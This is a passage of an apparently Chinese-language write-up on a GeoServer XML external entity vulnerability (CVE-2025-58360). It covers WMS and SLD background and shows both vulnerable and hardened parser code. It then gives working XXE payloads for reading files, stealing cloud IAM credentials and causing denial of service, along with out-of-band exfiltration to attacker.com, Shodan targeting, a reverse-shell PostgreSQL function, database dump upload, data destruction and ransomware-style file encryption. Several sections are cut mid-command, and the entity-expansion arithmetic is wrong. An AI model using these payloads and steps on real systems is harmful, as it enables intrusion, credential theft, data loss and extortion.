2. 漏洞背景

2.1 GeoServer简介

GeoServer是一个基于Java的开源地理空间数据服务器,由Open Source Geospatial Foundation(OSGeo)维护。它严格遵循开放地理空间联盟(OGC)标准,被广泛用于发布和共享地理空间数据。

主要特性:

• 支持WMS、WFS、WCS、WPS等OGC标准协议

• 兼容多种空间数据源(PostGIS、Oracle Spatial、Shapefile等)

• 提供REST API用于配置管理

• 支持样式化图层描述符(SLD)自定义地图样式

• 支持多种输出格式(PNG、JPEG、GeoTIFF、KML等)

应用场景:

• 在线地图服务发布

• 地理信息系统(GIS)数据共享

• 应急管理和灾害响应

• 城市规划和国土资源管理

• 环境监测和资源调查

技术架构:

• 编程语言: Java

• Web容器: Jetty / Tomcat

• 依赖库: GeoTools、JTS、Eclipse XSD

• 数据存储: data_dir文件系统目录

2.2 WMS(Web Map Service)协议

WMS是OGC定义的一个国际标准协议,用于通过HTTP请求动态生成地理空间数据的地图图像。

核心操作:

• GetCapabilities: 获取服务元数据和能力描述

• GetMap: 请求生成地图图像(核心功能)

• GetFeatureInfo: 查询地图要素的详细信息

• DescribeLayer: 获取图层的详细描述

GetMap请求参数:

• SERVICE=WMS: 服务类型

• VERSION: 协议版本(1.1.0、1.1.1、1.3.0)

• REQUEST=GetMap: 操作类型

• LAYERS: 请求的图层列表

• STYLES: 图层样式(可为空)

• SRS/CRS: 坐标参考系统

• BBOX: 边界框坐标

• WIDTH/HEIGHT: 图像尺寸

• FORMAT: 输出格式

• SLD/SLD_BODY: 样式化图层描述符(XML格式)

漏洞相关参数:

• SLD_BODY: 通过POST请求体提交SLD XML文档

• SLD: 通过URL引用外部SLD文档

2.3 SLD(Styled Layer Descriptor)

SLD是OGC标准,用于描述地图图层的渲染样式,采用XML格式。GeoServer通过解析SLD文档来动态应用地图样式。

正常SLD结构:

<?xml version="1.0" encoding="UTF-8"?>
<StyledLayerDescriptor version="1.0.0"
  xmlns="http://www.opengis.net/sld"
  xmlns:ogc="http://www.opengis.net/ogc"
  xmlns:xlink="http://www.w3.org/1999/xlink"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <NamedLayer>
    <Name>layer-name</Name>
    <UserStyle>
      <Name>style-name</Name>
      <FeatureTypeStyle>
        <Rule>
          <PolygonSymbolizer>
            <Fill>
              <CssParameter name="fill">#FF0000</CssParameter>
            </Fill>
          </PolygonSymbolizer>
        </Rule>
      </FeatureTypeStyle>
    </UserStyle>
  </NamedLayer>
</StyledLayerDescriptor>

SLD处理流程:

1. 客户端通过SLD_BODY参数提交XML文档

2. GeoServer WMS服务接收XML

3. XML解析器处理SLD文档

4. 构建样式对象

5. 应用样式渲染地图

6. 返回图像给客户端

漏洞利用点:
SLD文档在等标签中可以引用外部实体,如果XML解析器未正确配置安全特性,就会触发XXE漏洞。

2.4 XXE攻击原理

XML外部实体(XXE)攻击是一种针对解析XML输入的应用程序的攻击技术。当XML解析器配置不当时,攻击者可以通过定义外部实体来读取文件、执行SSRF或造成拒绝服务。

2.4.1 文件读取攻击

通过file://协议读取本地文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

工作原理:

1. DOCTYPE声明定义了一个外部实体xxe

2. SYSTEM关键字指定实体内容来源

3. file:///协议引用本地文件系统

4. &xxe;引用实体,解析器读取文件内容

5. 文件内容被插入到XML文档中

6. 应用程序处理时可能泄露内容

2.4.2 SSRF攻击

通过http://协议发起服务器端请求:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://internal-service:8080/admin">
]>
<root>&xxe;</root>

攻击场景:

• 探测内网存活主机和端口

• 访问内部API和管理接口

• 读取云服务元数据(AWS、Azure、GCP)

• 绕过防火墙和网络隔离

• 利用SSRF漏洞组合攻击

2.4.3 拒绝服务攻击

通过实体递归扩展消耗系统资源(Billion Laughs攻击):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

5. 技术分析

5.1 GeoServer架构分析

5.1.1 整体架构

GeoServer采用分层架构设计:

[客户端]
    ↓ HTTP请求
[前端层]
├── REST API
├── Web UI (Wicket)
└── OGC服务接口
    ├── WMS (Web Map Service)      ← 漏洞位置
    ├── WFS (Web Feature Service)
    ├── WCS (Web Coverage Service)
    └── WPS (Web Processing Service)
    ↓
[业务逻辑层]
├── 样式处理 (SLD解析器)           ← 关键组件
├── 图层管理
├── 数据转换
└── 渲染引擎
    ↓
[数据访问层]
├── GeoTools库
├── 数据存储抽象
└── 数据源适配器
    ↓
[数据源]
├── 文件系统 (Shapefile, GeoTIFF)
├── 数据库 (PostGIS, Oracle Spatial)
└── 远程服务 (WFS, WCS)

核心组件:

• WMS实现: org.geoserver.wms包

• SLD解析: 基于GeoTools的SLDParser

• XML处理: 依赖javax.xml和Eclipse XSD

• 数据目录: data_dir存储配置和样式

5.1.2 WMS服务组件

WMS请求处理链:

HTTP请求
  ↓
DispatcherServlet (Spring MVC)
  ↓
WMSController
  ├── GetCapabilities → CapabilitiesResponse
  ├── GetMap → MapResponse              ← 漏洞入口
  │   ├── 解析请求参数
  │   ├── SLD/SLD_BODY处理            ← XXE触发点
  │   ├── 图层查找和验证
  │   ├── 样式应用
  │   ├── 地图渲染
  │   └── 图像编码
  └── GetFeatureInfo → FeatureInfoResponse
  ↓
响应输出

GetMap关键步骤:

1. 请求解析: 提取LAYERS、BBOX、SRS等参数

2. SLD处理: 如果存在SLD_BODY参数,解析XML

3. 样式匹配: 将SLD应用到请求的图层

4. 数据查询: 从数据源获取空间数据

5. 地图渲染: 使用渲染引擎绘制地图

6. 图像编码: 输出为PNG/JPEG等格式

5.1.3 XML处理流程

SLD XML解析详细流程:

SLD_BODY参数
  ↓
WMSController.handleGetMap()
  ↓
GetMapRequest.setSldBody(xmlString)
  ↓
SLDParser.parseSLD(InputStream)
  ↓
DocumentBuilderFactory.newInstance()      ← 关键配置点
  ↓
DocumentBuilder.parse(inputStream)        ← XXE发生位置
  ↓
DOM树构建
  ↓
遍历节点提取样式规则
  ↓
构造Style对象

不安全的代码模式(推测):

// GeoServer 2.26.1 (易受攻击)
public class SLDParser {
    public Style parse(InputStream sldInput) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setNamespaceAware(true);
        // 缺失: 未禁用外部实体
        // 缺失: 未禁用DTD

        DocumentBuilder builder = factory.newDocumentBuilder();
        Document doc = builder.parse(sldInput);  // 危险!

        // 解析SLD元素构建样式
        return buildStyleFromDOM(doc);
    }
}

漏洞链条:

1. HTTP POST请求包含恶意SLD XML

2. WMS Controller接收SLD_BODY参数

3. SLDParser调用XML解析器

4. 解析器处理DOCTYPE声明

5. 解析外部实体(file://, http://)

6. 实体内容插入DOM树

7. 错误处理暴露文件内容

5.2 WMS GetMap请求处理流程

5.2.1 正常请求流程

GET请求示例:

GET /geoserver/wms?
  SERVICE=WMS&
  VERSION=1.1.0&
  REQUEST=GetMap&
  LAYERS=topp:states&
  STYLES=&
  SRS=EPSG:4326&
  BBOX=-124.73,24.96,-66.97,49.37&
  WIDTH=800&
  HEIGHT=600&
  FORMAT=image/png

处理步骤:

1. 参数验证: 检查必需参数完整性

2. 版本协商: 确定WMS协议版本

3. 图层解析: 查找topp:states图层

4. 样式查找: 使用默认样式或STYLES参数指定

5. 坐标转换: 将BBOX转换为目标SRS

6. 数据查询: 从PostGIS等数据源获取要素

7. 渲染: 根据样式规则绘制地图

8. 输出: 编码为PNG图像返回

5.2.2 SLD处理详细流程

POST请求示例(含SLD):

POST /geoserver/wms?
  SERVICE=WMS&
  VERSION=1.1.0&
  REQUEST=GetMap&
  LAYERS=topp:states&
  SRS=EPSG:4326&
  BBOX=-124.73,24.96,-66.97,49.37&
  WIDTH=800&
  HEIGHT=600&
  FORMAT=image/png
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>topp:states</Name>
    <UserStyle>
      <Name>custom_style</Name>
      <FeatureTypeStyle>
        <Rule>
          <PolygonSymbolizer>
            <Fill>
              <CssParameter name="fill">#FF0000</CssParameter>
            </Fill>
          </PolygonSymbolizer>
        </Rule>
      </FeatureTypeStyle>
    </UserStyle>
  </NamedLayer>
</StyledLayerDescriptor>

SLD应用流程:

1. 接收SLD XML: 从POST请求体读取

2. XML解析: DocumentBuilder.parse()

3. 命名空间验证: 检查SLD命名空间

4. 元素提取:

   • NamedLayer/Name: 图层名称

   • UserStyle: 自定义样式

   • Rule: 样式规则

   • Symbolizer: 符号化器(点、线、面)

5. 样式对象构建: 创建Style、Rule、Symbolizer对象

6. 应用到渲染: 传递给地图渲染器

7. 生成图像: 根据SLD样式渲染输出

5.3 XML解析器配置缺陷

5.3.1 不安全的配置

Java XML解析器默认行为问题:

DocumentBuilderFactory默认配置:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 默认: setExpandEntityReferences(true)  ← 扩展实体引用
// 默认: 未禁用外部通用实体
// 默认: 未禁用外部参数实体
// 默认: 未禁用DTD
// 默认: 未禁用XInclude

危险特性:

• External General Entities: 允许引用外部文件/URL

• External Parameter Entities: 允许DTD中的参数实体

• DOCTYPE Declaration: 允许DTD声明

• Entity Expansion: 自动扩展实体引用

• XInclude: 允许包含外部XML片段

安全配置应该是:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// 方法1: 完全禁用DTD(最安全)
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// 方法2: 禁用外部实体但允许DTD
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

// 禁用XInclude
factory.setXIncludeAware(false);

// 禁用实体扩展
factory.setExpandEntityReferences(false);

// 设置安全的EntityResolver
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

GeoTools/Eclipse XSD问题:
基于CVE-2025-30220的经验,GeoServer使用的GeoTools库在处理XML Schema时,其内部的Eclipse XSD组件可能不尊重外部设置的EntityResolver,导致XXE防护被绕过。

5.3.2 默认行为

JAXP默认行为分析:

Java SE不同版本:

• Java 8及更早: 默认允许外部实体

• Java 9-10: 部分限制外部实体

• Java 11+: 仍需显式禁用以完全防护

不同XML API的默认行为:

• DocumentBuilderFactory: 默认不安全

• SAXParserFactory: 默认不安全

• XMLInputFactory (StAX): 默认不安全

• Transformer (XSLT): 默认不安全

• SchemaFactory: 默认不安全

• Validator: 默认不安全

常见错误:

1. 仅设置EntityResolver但未禁用特性

2. 仅禁用外部通用实体但未禁用参数实体

3. 允许DTD但认为已安全

4. 使用第三方库未检查其XML配置

6. 漏洞成因

6.1 根本原因

CVE-2025-58360的根本原因可以归结为以下几个层面的问题:

6.1.1 输入验证缺失

未验证XML结构:

• 允许任意DOCTYPE声明

• 未检查ENTITY定义

• 未限制SYSTEM引用

• 缺少XML Schema验证

代码示例(脆弱):

// 直接解析用户输入,无任何验证
public Style parseSLD(String sldXml) {
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader(sldXml)));
    return extractStyle(doc);
}

安全实践应该:

public Style parseSLD(String sldXml) {
    // 1. 白名单检查
    if (sldXml.contains("<!DOCTYPE") || sldXml.contains("<!ENTITY")) {
        throw new SecurityException("DOCTYPE/ENTITY not allowed");
    }

    // 2. Schema验证
    SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
    Schema schema = sf.newSchema(new File("sld-schema.xsd"));

    // 3. 安全解析
    DocumentBuilder builder = getSecureDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader(sldXml)));

    return extractStyle(doc);
}

6.1.2 解析器配置不当

GeoServer中XML解析器未正确配置安全特性,导致默认允许外部实体解析。

不安全代码模式:

// org.geotools.xml (GeoTools库)
public class SLDParser {
    private DocumentBuilderFactory createFactory() {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setNamespaceAware(true);
        factory.setValidating(false);
        // 问题: 未设置安全特性
        return factory;
    }
}

Eclipse XSD问题:
根据CVE-2025-30220的修复,Eclipse XSD组件在解析XML Schema时有自己的EntityResolver,即使上层设置了安全EntityResolver也可能被忽略。

修复后的代码(推测):

private DocumentBuilderFactory createSecureFactory() {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setNamespaceAware(true);
    factory.setValidating(false);

    try {
        // 禁用DTD
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        // 禁用外部实体
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        // 禁用外部DTD
        factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        // 禁用XInclude
        factory.setXIncludeAware(false);
        // 禁用实体扩展
        factory.setExpandEntityReferences(false);
    } catch (ParserConfigurationException e) {
        throw new RuntimeException("Unable to configure secure XML parser", e);
    }

    return factory;
}

6.1.3 错误信息泄露

GeoServer在处理SLD XML时,如果遇到未知图层名称,会在ServiceException中包含完整的图层名称,而图层名称就是我们注入的外部实体引用的内容。

实际复现证据:

<!-- 请求 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<Name>&xxe;</Name>

<!-- 响应 -->
<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

错误处理代码(推测):

public void validateLayer(String layerName) {
    if (!layerExists(layerName)) {
        throw new ServiceException(
            "Unknown layer: " + layerName  // 直接输出用户输入
        );
    }
}

安全的错误处理:

public void validateLayer(String layerName) {
    if (!layerExists(layerName)) {
        // 仅记录详细错误到日志
        logger.warn("Invalid layer requested: {}", layerName);
        // 返回通用错误消息
        throw new ServiceException("Invalid layer name");
    }
}

6.1.4 安全意识不足

开发过程中缺少安全审查:

• 未进行安全编码培训

• 缺少SAST/DAST工具扫描

• 未执行威胁建模

• 代码审查未关注安全

依赖库安全管理:

• GeoTools、Eclipse XSD等依赖库的安全更新滞后

• 未及时应用CVE-2025-30220的修复经验

• 缺少依赖组件的SCA(软件成分分析)

6.2 攻击机制详解

6.2.1 基本XXE攻击

文件读取攻击流程:

步骤1 - 构造恶意payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>

步骤2 - 发送HTTP请求:

curl -X POST "http://target:8080/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
  -H "Content-Type: application/xml" \
  -d @payload.xml

步骤3 - 服务器处理:

1. WMS Controller接收请求

2. SLDParser解析XML

3. DocumentBuilder遇到DOCTYPE

4. 解析

5. 读取/etc/passwd文件内容

6. 将内容存储在xxe实体中

7. 遇到&xxe;

8. 将文件内容插入到Name元素

9. layerName变量 = "root x :0:0:..."

步骤4 - 错误响应:

<?xml version="1.0"?>
<ServiceExceptionReport version="1.1.1">
  <ServiceException>
    Unknown layer: root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
  </ServiceException>
</ServiceExceptionReport>

步骤5 - 攻击者获取数据:
攻击者从ServiceException中提取完整的/etc/passwd文件内容。

6.2.2 参数实体攻击(OOB XXE)

当文件内容无法直接回显时,使用参数实体进行带外数据泄露。

攻击者服务器evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com:8000/?data=%file;'>">
%eval;
%exfil;

攻击payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY % dtd SYSTEM "http://attacker.com:8000/evil.dtd">
  %dtd;
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>test</Name>
  </NamedLayer>
</StyledLayerDescriptor>

执行流程:

1. 解析器遇到

2. 发起HTTP请求到attacker.com获取evil.dtd

3. 解析evil.dtd定义的参数实体

4. %eval;展开,定义%exfil实体

5. %exfil;展开,触发对attacker.com的请求

6. 请求URL包含/etc/passwd内容作为参数

7. 攻击者HTTP服务器日志记录文件内容

攻击者服务器日志:

GET /?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:...

6.2.3 SSRF攻击

利用XXE进行服务器端请求伪造:

探测AWS元数据:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<Name>&xxe;</Name>

响应可能包含IAM角色名称:

<ServiceException>
  Unknown layer: geoserver-role
</ServiceException>

获取IAM临时凭据:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/geoserver-role">
<Name>&xxe;</Name>

响应包含:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "..."
}

内网服务探测:

<!-- 探测内网PostgreSQL -->
<!ENTITY xxe SYSTEM "http://10.0.1.100:5432/">

<!-- 探测内网Redis -->
<!ENTITY xxe SYSTEM "http://10.0.1.100:6379/">

<!-- 探测Kubernetes API -->
<!ENTITY xxe SYSTEM "http://10.96.0.1:443/">

通过响应时间和错误消息推断端口状态:

• 快速失败: 端口关闭

• 连接超时: 端口开放但服务不响应HTTP

• 特定错误: 端口开放且服务响应

• 容器ID: a27840b7f332

• 测试时间: 2025-11-27

测试1 - 读取hostname:

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>

请求命令:

curl -X POST "http://localhost:8080/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
  -H "Content-Type: application/xml" \

  </NamedLayer>
</StyledLayerDescriptor>'

服务器响应:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE ServiceExceptionReport SYSTEM "http://localhost:8080/geoserver/schemas/wms/1.1.1/WMS_exception_1_1_1.dtd">
<ServiceExceptionReport version="1.1.1">
  <ServiceException>
    Unknown layer: a27840b7f332
  </ServiceException>
</ServiceExceptionReport>

结果验证:

$ docker ps --format "{{.ID}} {{.Names}}" | grep geoserver
a27840b7f332 geoserver-vuln-cve-2025-58360

结论: 容器hostname与泄露值完全匹配,XXE攻击成功!

7.2.2 SSRF攻击

通过XXE执行服务器端请求伪造:

场景1 - AWS云环境:

步骤1: 探测元数据服务可用性

<!ENTITY xxe SYSTEM "http://169.254.169.254/">
<Name>&xxe;</Name>

步骤2: 列出IAM角色

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

Digital Ocean元数据:

<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/v1/">
<Name>&xxe;</Name>

7.2.3 拒绝服务(DoS)

Billion Laughs攻击:

Payload:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&lol9;</Name>
  </NamedLayer>
</StyledLayerDescriptor>

影响:

• 实体扩展: 3^9 = 19,683个"lol"字符串

• 内存占用: 约200KB → 20MB(10层) → 3GB(更深层次)

• CPU占用: 100%(解析和扩展)

• 服务响应: 超时或崩溃

大文件读取DoS:

<!ENTITY xxe SYSTEM "file:///dev/zero">
<Name>&xxe;</Name>

或读取大日志文件:

<!ENTITY xxe SYSTEM "file:///var/log/syslog">
<Name>&xxe;</Name>

影响:

• 内存占用: 持续增长直到OOM

• I/O阻塞: 磁盘读取占用资源

• 请求超时: 其他用户无法访问

7.2.4 带外数据泄露(OOB XXE)

当文件内容无法直接回显时,使用OOB技术。

攻击者服务器准备:

启动HTTP服务器:

# 方法1: Python SimpleHTTPServer
cd /var/www/evil
python3 -m http.server 8000

# 方法2: Nginx
server {
    listen 80;
    server_name attacker.com;
    root /var/www/evil;
    access_log /var/log/nginx/xxe.log;
}

# 方法3: netcat监听
while true; do nc -lvp 8000; done

创建evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com:8000/exfil?data=%file;'>">
%eval;
%exfil;

攻击payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY % dtd SYSTEM "http://attacker.com:8000/evil.dtd">
  %dtd;
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>test</Name>
  </NamedLayer>
</StyledLayerDescriptor>

执行流程:

1. 目标GeoServer解析XML

2. 请求http://attacker.com:8000/evil.dtd

3. 解析evil.dtd中的参数实体

4. %file; → 读取/etc/passwd

5. %eval; → 定义%exfil;实体

6. %exfil; → 发起HTTP请求

7. 请求URL: http://attacker.com:8000/exfil?data=root:x:...

攻击者服务器日志:

10.0.1.50 - - [27/Nov/2025:01:50:33] "GET /evil.dtd HTTP/1.1" 200 -
10.0.1.50 - - [27/Nov/2025:01:50:34] "GET /exfil?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin%0A... HTTP/1.1" 200 -

数据解码:

import urllib.parse

log_data = "root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin%0A..."
decoded = urllib.parse.unquote(log_data)
print(decoded)

输出:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

DNS OOB(更隐蔽):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://%file;.attacker.com'>">
%eval;
%exfil;

8.2 各阶段详细分析

8.2.1 阶段1: 侦察和信息收集

使用搜索引擎发现目标:

Shodan查询:

title:"GeoServer" port:8080
title:"GeoServer" country:"US"
"GeoServer Configuration" port:8080

Shodan API自动化:

import shodan

api = shodan.Shodan('YOUR_API_KEY')
results = api.search('title:"GeoServer" port:8080')

for result in results['matches']:
    print(f"{result['ip_str']}:{result['port']}")
    print(f"  Organization: {result.get('org', 'N/A')}")
    print(f"  Location: {result.get('location', {}).get('city', 'N/A')}")

ZoomEye查询:

app:"GeoServer"

Fofa查询:

app="GeoServer"
title="GeoServer"

版本指纹识别:

HTTP头检测:

curl -I http://target:8080/geoserver/web/

# 查找类似:
# Server: Jetty(9.4.48.v20220622)
# X-Frame-Options: SAMEORIGIN

GetCapabilities检测:

curl -s "http://target:8080/geoserver/wms?service=WMS&request=GetCapabilities" | grep -i "version"

# 输出示例:
# <WMS_Capabilities version="1.3.0">
#   <Service>
#     <Name>WMS</Name>
#     <Title>GeoServer Web Map Service</Title>
#     <OnlineResource>http://geoserver.org</OnlineResource>
#   </Service>

Web界面检测:

curl -s http://target:8080/geoserver/web/ | grep -o "Version [0-9.]*"

# 输出: Version 2.26.1

8.2.2 阶段2: 漏洞识别和验证

基础XXE检测:

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>

自动化检测脚本:

#!/bin/bash

TARGET="http://target:8080"
PAYLOAD='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>'

RESPONSE=$(curl -s -X POST "$TARGET/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
  -H "Content-Type: application/xml" \
  -d "$PAYLOAD")

if echo "$RESPONSE" | grep -q "Unknown layer:"; then
  echo "[+] VULNERABLE to XXE!"
  LEAKED=$(echo "$RESPONSE" | grep -oP 'Unknown layer: \K[^<]+')
  echo "[+] Leaked hostname: $LEAKED"
else
  echo "[-] Not vulnerable or patched"
fi

8.2.3 阶段3: 漏洞利用

系统侦察:

读取系统信息:

# 操作系统版本
file:///etc/os-release
file:///proc/version

# 内核版本
file:///proc/version

# 网络配置

8.2.5 阶段5: 横向移动

使用泄露的数据库凭据:

# 从datastore.xml中提取凭据
HOST=db.internal
PORT=5432
USER=geoserver
PASS=P@ssw0rd123
DB=gisdata

# 连接数据库
psql -h $HOST -p $PORT -U $USER -d $DB

# 枚举数据库
\l
\dt

# 查询敏感表
SELECT * FROM users;
SELECT * FROM credentials;
SELECT * FROM api_keys;

使用SSH密钥:

# 保存泄露的私钥
cat > /tmp/id_rsa <<EOF
-----BEGIN RSA PRIVATE KEY-----
[泄露的私钥内容]
-----END RSA PRIVATE KEY-----
EOF

chmod 600 /tmp/id_rsa

# SSH登录
ssh -i /tmp/id_rsa geoserveruser@target-server

SSRF访问内网:

<!-- 探测内网Web服务 -->
<!ENTITY xxe SYSTEM "http://10.0.1.100:8080/admin">

<!-- 访问内网API -->
<!ENTITY xxe SYSTEM "http://internal-api.local/v1/secrets">

<!-- 访问Kubernetes API -->
<!ENTITY xxe SYSTEM "https://10.96.0.1:443/api/v1/secrets">

8.2.6 阶段6: 权限提升

利用GeoServer管理界面:

如果获取到管理员凭据(从users.xml):

1. 登录/geoserver/web/

2. 导航至"数据存储"→"新建数据存储"

3. 选择"JNDI"连接

4. 注入JNDI LDAP payload(如适用其他漏洞)

5. 或修改数据存储配置执行SQL

6. 或通过REST API上传恶意插件

通过数据库权限提升:

-- 如果GeoServer数据库用户是DBA
CREATE EXTENSION IF NOT EXISTS plpython3u;

CREATE OR REPLACE FUNCTION exec_shell(cmd text)
RETURNS text AS $$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpython3u;

SELECT exec_shell('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"');

8.2.7 阶段7: 目标达成

数据泄露:

# 下载所有Shapefile数据
wget -r -np -nH --cut-dirs=2 http://target:8080/geoserver/rest/workspaces/

# 导出PostgreSQL数据库
pg_dump -h db.internal -U geoserver gisdata > /tmp/gisdata.sql

# 上传到外部服务器
curl -F "file=@/tmp/gisdata.sql" http://attacker.com/upload

服务破坏:

-- 篡改地理数据
UPDATE boundaries SET geom = ST_GeomFromText('POINT(0 0)', 4326);

-- 删除关键图层
DROP TABLE critical_infrastructure;

勒索:

# 加密数据文件
find /opt/geoserver/data_dir -type f -exec openssl enc -aes-256-cbc -salt -in {} -out {}.enc -k "ransom_key" \;

# 留下勒索信

8.3 真实攻击场景示例

场景: 政府国土部门GeoServer入侵

初始访问:

• 攻击者通过Shodan发现政府GIS服务器

• IP: 203.0.113.50

• 开放端口: 80 (Nginx) → 8080 (GeoServer 2.26.1)

漏洞利用:

# 读取GeoServer配置
curl -X POST "http://203.0.113.50/geoserver/wms?..." \
